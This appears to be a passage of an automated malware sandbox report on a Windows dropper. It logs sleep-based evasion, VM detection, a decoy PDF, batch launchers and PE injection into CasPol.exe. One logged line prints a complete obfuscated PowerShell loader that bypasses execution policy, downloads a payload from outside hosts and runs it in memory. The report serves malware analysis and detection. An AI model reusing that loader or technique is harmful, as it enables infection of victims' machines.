Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1972	Thread sleep count: 4713 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1692	Thread sleep count: 34 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1692	Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2544	Thread sleep count: 2143 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3252	Thread sleep count: 694 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6212	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 64	Thread sleep count: 39 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 64	Thread sleep time: -35971150943733603s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3784	Thread sleep count: 4912 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3784	Thread sleep count: 4880 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4824	Thread sleep count: 824 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 980	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4456	Thread sleep count: 9141 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2796	Thread sleep count: 619 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4256	Thread sleep count: 31 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4256	Thread sleep time: -28592453314249787s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8620	Thread sleep count: 700 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6772	Thread sleep count: 112 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2620	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7460	Thread sleep count: 9355 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -26747778906878833s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep count: 401 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7300	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1084	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8396	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep count: 488 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4060	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8428	Thread sleep count: 515 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6084	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5928	Thread sleep count: 9437 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7352	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6676	Thread sleep count: 235 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep count: 9349 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9132	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep count: 255 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4064	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 5352	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\TM3utH2CsU.exe

Code function: 0_2_00007FF681B09F70 CloseHandle,FindFirstFileW,FindClose,

0_2_00007FF681B09F70

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft

Source: wscript.exe, 00000041.00000003.1692282992.0000020187A4D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000015.00000003.1552801034.0000022A5F3AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iBWLquWiWlbWgKOfecWOdloLZzNWpcOlhbkijLiJLqkAikGsmiRicrhgfsuAWGGiPzqG = "UWopUZi
Source: wscript.exe, 00000015.00000003.1552801034.0000022A5F3AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zxhzGqpqpKioHCAGvLkBWPULbshcnpKqothGlzRlWUtcnhArizcTULzbuuLearpSWUpdsmiRicrhgfs
Source: wscript.exe, 0000001B.00000003.1573411569.000002159CF0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iBWLquWiWlbWgKOfecWOdloLZzNWpcOlhbkijLiJLqkAikGsmiRicrhgfsuAWGGiPzqGBzZKkLugQho
Source: wscript.exe, 0000000F.00000003.1526614342.0000023FDC4BC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1522043070.0000023FDC4BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1523124446.0000023FDC4BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1523425436.0000023FDC4BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1522805277.0000023FDC4BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000015.00000003.1549681901.0000022A5F22A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000015.00000003.1547703870.0000022A5F22A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000015.00000003.1555430431.0000022A5F22C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000015.00000003.1550005796.0000022A5F22A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000015.00000003.1548715389.0000022A5F22A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000001B.00000003.1574574044.000002159CD8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iBWLquWiWlbWgKOfecWOdloLZzNWpcOlhbkijLiJLqkAikGsmiRicrhgfsuAWGGiPzqG
Source: wscript.exe, 0000000F.00000003.1526482299.0000023FDA41F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1526755865.0000023FDC6C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1526614342.0000023FDC4BC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1522043070.0000023FDC4BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1523124446.0000023FDC4BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1526835553.0000023FDC5C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1523425436.0000023FDC4BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1522805277.0000023FDC4BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000F.00000003.1526250566.0000023FDA416000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000015.00000003.1549681901.0000022A5F22A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000015.00000003.1553064460.0000022A5D154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eLGupbRUclWULoZxoplnxiOHIhImWlGLUGkuOmcULuLGALcWjuKfOKGKcckqiWdkabnj = "iBWLquWiWlbWgKOfecWOdloLZzNWpcOlhbkijLiJLqkAikGsmiRicrhgfsuAWGGiPzqG"
Source: wscript.exe, 0000000F.00000003.1525851518.0000023FDC63E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fillikWpnQOApLNxnUKfpKKbUPurLioLvWdcWcWLAoKupasKiGPWLKAGIWNnuGtLgBLLsmiRicrhgfs
Source: wscript.exe, 0000001B.00000002.1576285507.000002159CF19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000001B.00000003.1575117971.000002159CF19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000001B.00000003.1573411569.000002159CF0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: GkdnicxWfBLNbbGWnWuktoGcfLTmGbbuZWlicCukbZkUhLpagNcZcnzLWiHfLPJtizbLsmiRicrhgfsj
Source: wscript.exe, 0000000F.00000003.1522731210.0000023FDC2D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000015.00000003.1548577126.0000022A5F046000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000001B.00000003.1570598889.000002159CBA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DiBWLquWiWlbWgKOfecWOdloLZzNWpcOlhbkijLiJLqkAikGsmiRicrhgfsuAWGGiPzqGuNWGZP
Source: wscript.exe, 0000000F.00000003.1525851518.0000023FDC63E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iBWLquWiWlbWgKOfecWOdloLZzNWpcOlhbkijLiJLqkAikGsmiRicrhgfsuAWGGiPzqGLLCWWeGfaae
Source: TM3utH2CsU.exe, 00000000.00000003.1717148348.00000206945E2000.00000004.00000020.00020000.00000000.sdmp, TM3utH2CsU.exe, 00000000.00000003.1716808753.00000206945DC000.00000004.00000020.00020000.00000000.sdmp, TM3utH2CsU.exe, 00000000.00000003.1407187350.00000206945DC000.00000004.00000020.00020000.00000000.sdmp, TM3utH2CsU.exe, 00000000.00000003.1380346507.00000206945DF000.00000004.00000020.00020000.00000000.sdmp, TM3utH2CsU.exe, 00000000.00000003.1436659897.00000206945E0000.00000004.00000020.00020000.00000000.sdmp, TM3utH2CsU.exe, 00000000.00000003.1466683610.00000206945E0000.00000004.00000020.00020000.00000000.sdmp, TM3utH2CsU.exe, 00000000.00000003.1380283956.00000206945DD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2410995855.000001AF310FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\TM3utH2CsU.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40A000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40C000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: DC1008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40A000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40C000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 11A7008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40A000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40C000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 92A008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40A000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40C000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 107A008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40A000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 40C000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 1099008

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C start C:\Users\Public\Documents\privacy_policy.pdf	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C echo %username%	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""	Jump to behavior
